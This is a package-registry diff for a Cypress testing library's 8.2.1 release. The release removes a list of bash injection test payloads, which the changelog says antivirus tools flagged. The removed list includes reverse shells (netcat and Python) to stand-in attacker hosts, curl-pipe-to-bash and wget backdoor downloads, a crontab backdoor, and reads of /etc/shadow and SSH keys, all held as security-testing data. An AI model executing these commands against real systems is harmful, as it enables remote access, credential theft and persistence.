@jahia/cypress 8.2.0 → 8.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +4 -0
- package/dist/support/jfaker.d.ts +0 -1
- package/dist/support/jfaker.js +2 -5
- package/docs/jfaker.md +3 -6
- package/package.json +1 -1
- package/src/support/jfaker.ts +2 -5
- package/tests/cypress/e2e/jfaker.spec.ts +2 -3
- package/dist/injections/bash-data.d.ts +0 -1
- package/dist/injections/bash-data.js +0 -57
- package/src/injections/bash-data.ts +0 -54
package/CHANGELOG.md
CHANGED
|
@@ -1,5 +1,9 @@
|
|
|
1
1
|
# @jahia/cypress Changelog
|
|
2
2
|
|
|
3
|
+
## 8.2.1
|
|
4
|
+
|
|
5
|
+
* Temporary remove bash injections which can be treated by antivirus as a potentially unsafe. They will be reworked and brought back later on. (#224)
|
|
6
|
+
|
|
3
7
|
## 8.2.0
|
|
4
8
|
|
|
5
9
|
* Add `context.tag()` function for adding tags (user-defined labels) that can be attached to test suites and individual tests to provide metadata about test characteristics, scope, and purpose (#221)
|
package/dist/support/jfaker.d.ts
CHANGED
|
@@ -22,7 +22,6 @@
|
|
|
22
22
|
* Available injection methods:
|
|
23
23
|
* - `.xss()` - Generate XSS injection payloads
|
|
24
24
|
* - `.sql()` - Generate SQL injection payloads
|
|
25
|
-
* - `.bash()` - Generate Bash injection payloads
|
|
26
25
|
* - `.chars()` - Generate random special characters
|
|
27
26
|
* - `.htmlentities()` - Generate HTML entities
|
|
28
27
|
* - `.numbers()` - Generate random numbers entities and edge cases
|
package/dist/support/jfaker.js
CHANGED
|
@@ -28,14 +28,12 @@ var faker_1 = require("@faker-js/faker");
|
|
|
28
28
|
// Import injection data from corresponding files in injections-ts directory
|
|
29
29
|
var xss_data_1 = require("../injections/xss-data");
|
|
30
30
|
var sql_data_1 = require("../injections/sql-data");
|
|
31
|
-
var bash_data_1 = require("../injections/bash-data");
|
|
32
31
|
var chars_data_1 = require("../injections/chars-data");
|
|
33
32
|
var htmlentities_data_1 = require("../injections/htmlentities-data");
|
|
34
33
|
var numbers_data_1 = require("../injections/numbers-data");
|
|
35
34
|
var injectionData = {
|
|
36
35
|
xss: xss_data_1.xssData,
|
|
37
36
|
sql: sql_data_1.sqlData,
|
|
38
|
-
bash: bash_data_1.bashData,
|
|
39
37
|
chars: chars_data_1.charsData,
|
|
40
38
|
htmlentities: htmlentities_data_1.htmlentitiesData,
|
|
41
39
|
numbers: numbers_data_1.numbersData
|
|
@@ -48,7 +46,7 @@ var ENV_INJECTIONS_TYPE = 'JAHIA_CYPRESS_INJECTION_TYPE';
|
|
|
48
46
|
var injectionsDefaultLength = { min: 2, max: 5 };
|
|
49
47
|
/**
|
|
50
48
|
* Store FakeData type in Cypress env for persistence across specs
|
|
51
|
-
* @param {string} type FakeData type: 'faker' | 'xss' | 'sql' | '
|
|
49
|
+
* @param {string} type FakeData type: 'faker' | 'xss' | 'sql' | 'chars' | 'htmlentities' | 'numbers'
|
|
52
50
|
* @returns void
|
|
53
51
|
*/
|
|
54
52
|
function setDataType(type) {
|
|
@@ -63,7 +61,7 @@ function getDataType() {
|
|
|
63
61
|
}
|
|
64
62
|
/**
|
|
65
63
|
* Generate injection data based on the specified type and length
|
|
66
|
-
* @param {string} type Injection type to generate (xss, sql,
|
|
64
|
+
* @param {string} type Injection type to generate (xss, sql, chars, htmlentities, numbers)
|
|
67
65
|
* @param {number} length Length of the generated injection (optional)
|
|
68
66
|
* @returns {string} Generated injection string
|
|
69
67
|
*/
|
|
@@ -171,7 +169,6 @@ var DeepApi = /** @class */ (function () {
|
|
|
171
169
|
* Available injection methods:
|
|
172
170
|
* - `.xss()` - Generate XSS injection payloads
|
|
173
171
|
* - `.sql()` - Generate SQL injection payloads
|
|
174
|
-
* - `.bash()` - Generate Bash injection payloads
|
|
175
172
|
* - `.chars()` - Generate random special characters
|
|
176
173
|
* - `.htmlentities()` - Generate HTML entities
|
|
177
174
|
* - `.numbers()` - Generate random numbers entities and edge cases
|
package/docs/jfaker.md
CHANGED
|
@@ -7,7 +7,7 @@ The `jfaker` module is a flexible fake data generation utility for Cypress testi
|
|
|
7
7
|
## Key Features
|
|
8
8
|
|
|
9
9
|
- **Faker.js Integration**: Full access to all `Faker.js` methods for generating realistic test data
|
|
10
|
-
- **Security Injection Payloads**: Built-in support for common injection attack vectors (XSS, SQL,
|
|
10
|
+
- **Security Injection Payloads**: Built-in support for common injection attack vectors (XSS, SQL, etc.)
|
|
11
11
|
- **Global Type Management**: Set a global data type that automatically overrides faker calls with injection data
|
|
12
12
|
- **Flexible Configuration**: Control generation behavior with options like length, provider, and overridability
|
|
13
13
|
- **Dynamic API**: Chain method calls naturally (e.g., `jfaker.person.firstName()`)
|
|
@@ -53,7 +53,6 @@ Generate security testing payloads for various attack vectors:
|
|
|
53
53
|
|
|
54
54
|
- **`.xss()`** - Cross-Site Scripting (XSS) payloads
|
|
55
55
|
- **`.sql()`** - SQL injection payloads
|
|
56
|
-
- **`.bash()`** - Bash/shell command injection payloads
|
|
57
56
|
- **`.chars()`** - Random special characters
|
|
58
57
|
- **`.htmlentities()`** - HTML entities
|
|
59
58
|
- **`.numbers()`** - Number-based edge cases and payloads
|
|
@@ -63,7 +62,6 @@ Generate security testing payloads for various attack vectors:
|
|
|
63
62
|
// Default behavior (no length specified): 2-5 random items joined
|
|
64
63
|
jfaker.xss() // Returns: random XSS payload
|
|
65
64
|
jfaker.sql() // Returns: random SQL injection payload
|
|
66
|
-
jfaker.bash() // Returns: random Bash injection payload
|
|
67
65
|
```
|
|
68
66
|
|
|
69
67
|
**With Length Control:**
|
|
@@ -84,7 +82,7 @@ jfaker.sql({length: -1}) // Returns: all SQL payloads joined together
|
|
|
84
82
|
Sets the global data type for all subsequent jfaker calls. When set to an injection type, all faker method calls will return injection data instead.
|
|
85
83
|
|
|
86
84
|
**Parameters:**
|
|
87
|
-
- `type`: One of `'faker'`, `'xss'`, `'sql'`, `'
|
|
85
|
+
- `type`: One of `'faker'`, `'xss'`, `'sql'`, `'chars'`, `'htmlentities'`, or `'numbers'`
|
|
88
86
|
|
|
89
87
|
**Usage:**
|
|
90
88
|
```typescript
|
|
@@ -263,7 +261,7 @@ describe('Security Test Suite - SQL Injection', () => {
|
|
|
263
261
|
|
|
264
262
|
```typescript
|
|
265
263
|
describe('Input Field Robustness', () => {
|
|
266
|
-
const injectionTypes = ['xss', 'sql', '
|
|
264
|
+
const injectionTypes = ['xss', 'sql', 'chars', 'htmlentities', 'numbers'];
|
|
267
265
|
|
|
268
266
|
injectionTypes.forEach(type => {
|
|
269
267
|
it(`should handle ${type} injection payloads`, () => {
|
|
@@ -355,7 +353,6 @@ The module uses a `DeepApi` class that implements a Proxy-based architecture:
|
|
|
355
353
|
Injection payloads are imported from TypeScript files in the `src/injections/` directory:
|
|
356
354
|
- `xss-data.ts` - XSS attack vectors
|
|
357
355
|
- `sql-data.ts` - SQL injection patterns
|
|
358
|
-
- `bash-data.ts` - Shell command injections
|
|
359
356
|
- `chars-data.ts` - Special characters
|
|
360
357
|
- `htmlentities-data.ts` - HTML entity variations
|
|
361
358
|
- `numbers-data.ts` - Numeric edge cases
|
package/package.json
CHANGED
package/src/support/jfaker.ts
CHANGED
|
@@ -18,7 +18,6 @@ import {faker} from '@faker-js/faker';
|
|
|
18
18
|
// Import injection data from corresponding files in injections-ts directory
|
|
19
19
|
import {xssData} from '../injections/xss-data';
|
|
20
20
|
import {sqlData} from '../injections/sql-data';
|
|
21
|
-
import {bashData} from '../injections/bash-data';
|
|
22
21
|
import {charsData} from '../injections/chars-data';
|
|
23
22
|
import {htmlentitiesData} from '../injections/htmlentities-data';
|
|
24
23
|
import {numbersData} from '../injections/numbers-data';
|
|
@@ -26,7 +25,6 @@ import {numbersData} from '../injections/numbers-data';
|
|
|
26
25
|
const injectionData: Record<string, string[]> = {
|
|
27
26
|
xss: xssData,
|
|
28
27
|
sql: sqlData,
|
|
29
|
-
bash: bashData,
|
|
30
28
|
chars: charsData,
|
|
31
29
|
htmlentities: htmlentitiesData,
|
|
32
30
|
numbers: numbersData
|
|
@@ -42,7 +40,7 @@ const injectionsDefaultLength = {min: 2, max: 5};
|
|
|
42
40
|
|
|
43
41
|
/**
|
|
44
42
|
* Store FakeData type in Cypress env for persistence across specs
|
|
45
|
-
* @param {string} type FakeData type: 'faker' | 'xss' | 'sql' | '
|
|
43
|
+
* @param {string} type FakeData type: 'faker' | 'xss' | 'sql' | 'chars' | 'htmlentities' | 'numbers'
|
|
46
44
|
* @returns void
|
|
47
45
|
*/
|
|
48
46
|
function setDataType(type: string): void {
|
|
@@ -59,7 +57,7 @@ function getDataType(): string | undefined {
|
|
|
59
57
|
|
|
60
58
|
/**
|
|
61
59
|
* Generate injection data based on the specified type and length
|
|
62
|
-
* @param {string} type Injection type to generate (xss, sql,
|
|
60
|
+
* @param {string} type Injection type to generate (xss, sql, chars, htmlentities, numbers)
|
|
63
61
|
* @param {number} length Length of the generated injection (optional)
|
|
64
62
|
* @returns {string} Generated injection string
|
|
65
63
|
*/
|
|
@@ -175,7 +173,6 @@ class DeepApi {
|
|
|
175
173
|
* Available injection methods:
|
|
176
174
|
* - `.xss()` - Generate XSS injection payloads
|
|
177
175
|
* - `.sql()` - Generate SQL injection payloads
|
|
178
|
-
* - `.bash()` - Generate Bash injection payloads
|
|
179
176
|
* - `.chars()` - Generate random special characters
|
|
180
177
|
* - `.htmlentities()` - Generate HTML entities
|
|
181
178
|
* - `.numbers()` - Generate random numbers entities and edge cases
|
|
@@ -88,7 +88,7 @@ describe('FakeData (jfaker) Module Tests', () => {
|
|
|
88
88
|
});
|
|
89
89
|
|
|
90
90
|
describe('Injection Data Generation', () => {
|
|
91
|
-
const injectionTypes = ['xss', 'sql', '
|
|
91
|
+
const injectionTypes = ['xss', 'sql', 'chars', 'htmlentities', 'numbers'];
|
|
92
92
|
|
|
93
93
|
injectionTypes.forEach(type => {
|
|
94
94
|
it(`should generate ${type} injection data without length`, () => {
|
|
@@ -335,7 +335,6 @@ describe('FakeData (jfaker) Module Tests', () => {
|
|
|
335
335
|
scriptInjection: jfaker.person.firstName(),
|
|
336
336
|
longPayload: jfaker.xss({length: 200}),
|
|
337
337
|
sqlInjection: jfaker.sql({length: 100}),
|
|
338
|
-
bashInjection: jfaker.bash(),
|
|
339
338
|
specialChars: jfaker.chars({length: 30})
|
|
340
339
|
};
|
|
341
340
|
|
|
@@ -394,7 +393,7 @@ describe('FakeData (jfaker) Module Tests', () => {
|
|
|
394
393
|
|
|
395
394
|
describe('Type Switching Performance', () => {
|
|
396
395
|
it('should handle frequent type switches', () => {
|
|
397
|
-
const types = ['faker', 'xss', 'sql', '
|
|
396
|
+
const types = ['faker', 'xss', 'sql', 'faker'];
|
|
398
397
|
const results: string[] = [];
|
|
399
398
|
|
|
400
399
|
types.forEach(type => {
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
export declare const bashData: string[];
|
|
@@ -1,57 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.bashData = void 0;
|
|
4
|
-
exports.bashData = [
|
|
5
|
-
'--version',
|
|
6
|
-
'--help',
|
|
7
|
-
'$USER',
|
|
8
|
-
'/dev/null; touch /tmp/blns.fail ; echo',
|
|
9
|
-
'`touch /tmp/blns.fail`',
|
|
10
|
-
'$(touch /tmp/blns.fail)',
|
|
11
|
-
'@{[system \'touch /tmp/blns.fail\']}',
|
|
12
|
-
'eval(\'puts \'hello world\'\')',
|
|
13
|
-
'System(\'ls -al /\')',
|
|
14
|
-
'`ls -al /`',
|
|
15
|
-
'Kernel.exec(\'ls -al /\')',
|
|
16
|
-
'Kernel.exit(1)',
|
|
17
|
-
'%x(\'ls -al /\')',
|
|
18
|
-
'$HOME',
|
|
19
|
-
'$ENV{\'HOME\'}',
|
|
20
|
-
'%d',
|
|
21
|
-
'%s',
|
|
22
|
-
'{0}',
|
|
23
|
-
'%*.*s',
|
|
24
|
-
'../../../../../../../../../../../etc/passwd%00',
|
|
25
|
-
'../../../../../../../../../../../etc/hosts',
|
|
26
|
-
'() { 0; }; touch /tmp/blns.shellshock1.fail;',
|
|
27
|
-
'() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }',
|
|
28
|
-
'; cat /etc/passwd',
|
|
29
|
-
'| ls -la',
|
|
30
|
-
'&& whoami',
|
|
31
|
-
'; rm -rf /tmp/test',
|
|
32
|
-
'` cat /etc/shadow `',
|
|
33
|
-
'| id',
|
|
34
|
-
'; uname -a',
|
|
35
|
-
'&& cat /etc/group',
|
|
36
|
-
'$(whoami)',
|
|
37
|
-
'`id`',
|
|
38
|
-
'; nc -e /bin/sh attacker.com 4444',
|
|
39
|
-
'| curl http://malicious.com/shell.sh | bash',
|
|
40
|
-
'; wget http://evil.com/backdoor -O /tmp/backdoor',
|
|
41
|
-
'&& chmod +x /tmp/exploit',
|
|
42
|
-
'`cat /root/.ssh/id_rsa`',
|
|
43
|
-
'; find / -name \'*.conf\'',
|
|
44
|
-
'| grep -r \'password\' /etc/',
|
|
45
|
-
'&& env',
|
|
46
|
-
'$(cat /proc/version)',
|
|
47
|
-
'; ps aux',
|
|
48
|
-
'| netstat -tuln',
|
|
49
|
-
'&& iptables -L',
|
|
50
|
-
'`cat /var/log/auth.log`',
|
|
51
|
-
'; history',
|
|
52
|
-
'| tail -f /var/log/syslog',
|
|
53
|
-
'&& crontab -l',
|
|
54
|
-
'; echo \'* * * * * /tmp/backdoor\' | crontab -',
|
|
55
|
-
'`sudo su -`',
|
|
56
|
-
'; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
|
|
57
|
-
];
|
|
@@ -1,54 +0,0 @@
|
|
|
1
|
-
export const bashData: string[] = [
|
|
2
|
-
'--version',
|
|
3
|
-
'--help',
|
|
4
|
-
'$USER',
|
|
5
|
-
'/dev/null; touch /tmp/blns.fail ; echo',
|
|
6
|
-
'`touch /tmp/blns.fail`',
|
|
7
|
-
'$(touch /tmp/blns.fail)',
|
|
8
|
-
'@{[system \'touch /tmp/blns.fail\']}',
|
|
9
|
-
'eval(\'puts \'hello world\'\')',
|
|
10
|
-
'System(\'ls -al /\')',
|
|
11
|
-
'`ls -al /`',
|
|
12
|
-
'Kernel.exec(\'ls -al /\')',
|
|
13
|
-
'Kernel.exit(1)',
|
|
14
|
-
'%x(\'ls -al /\')',
|
|
15
|
-
'$HOME',
|
|
16
|
-
'$ENV{\'HOME\'}',
|
|
17
|
-
'%d',
|
|
18
|
-
'%s',
|
|
19
|
-
'{0}',
|
|
20
|
-
'%*.*s',
|
|
21
|
-
'../../../../../../../../../../../etc/passwd%00',
|
|
22
|
-
'../../../../../../../../../../../etc/hosts',
|
|
23
|
-
'() { 0; }; touch /tmp/blns.shellshock1.fail;',
|
|
24
|
-
'() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }',
|
|
25
|
-
'; cat /etc/passwd',
|
|
26
|
-
'| ls -la',
|
|
27
|
-
'&& whoami',
|
|
28
|
-
'; rm -rf /tmp/test',
|
|
29
|
-
'` cat /etc/shadow `',
|
|
30
|
-
'| id',
|
|
31
|
-
'; uname -a',
|
|
32
|
-
'&& cat /etc/group',
|
|
33
|
-
'$(whoami)',
|
|
34
|
-
'`id`',
|
|
35
|
-
'; nc -e /bin/sh attacker.com 4444',
|
|
36
|
-
'| curl http://malicious.com/shell.sh | bash',
|
|
37
|
-
'; wget http://evil.com/backdoor -O /tmp/backdoor',
|
|
38
|
-
'&& chmod +x /tmp/exploit',
|
|
39
|
-
'`cat /root/.ssh/id_rsa`',
|
|
40
|
-
'; find / -name \'*.conf\'',
|
|
41
|
-
'| grep -r \'password\' /etc/',
|
|
42
|
-
'&& env',
|
|
43
|
-
'$(cat /proc/version)',
|
|
44
|
-
'; ps aux',
|
|
45
|
-
'| netstat -tuln',
|
|
46
|
-
'&& iptables -L',
|
|
47
|
-
'`cat /var/log/auth.log`',
|
|
48
|
-
'; history',
|
|
49
|
-
'| tail -f /var/log/syslog',
|
|
50
|
-
'&& crontab -l',
|
|
51
|
-
'; echo \'* * * * * /tmp/backdoor\' | crontab -',
|
|
52
|
-
'`sudo su -`',
|
|
53
|
-
'; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
|
|
54
|
-
];
|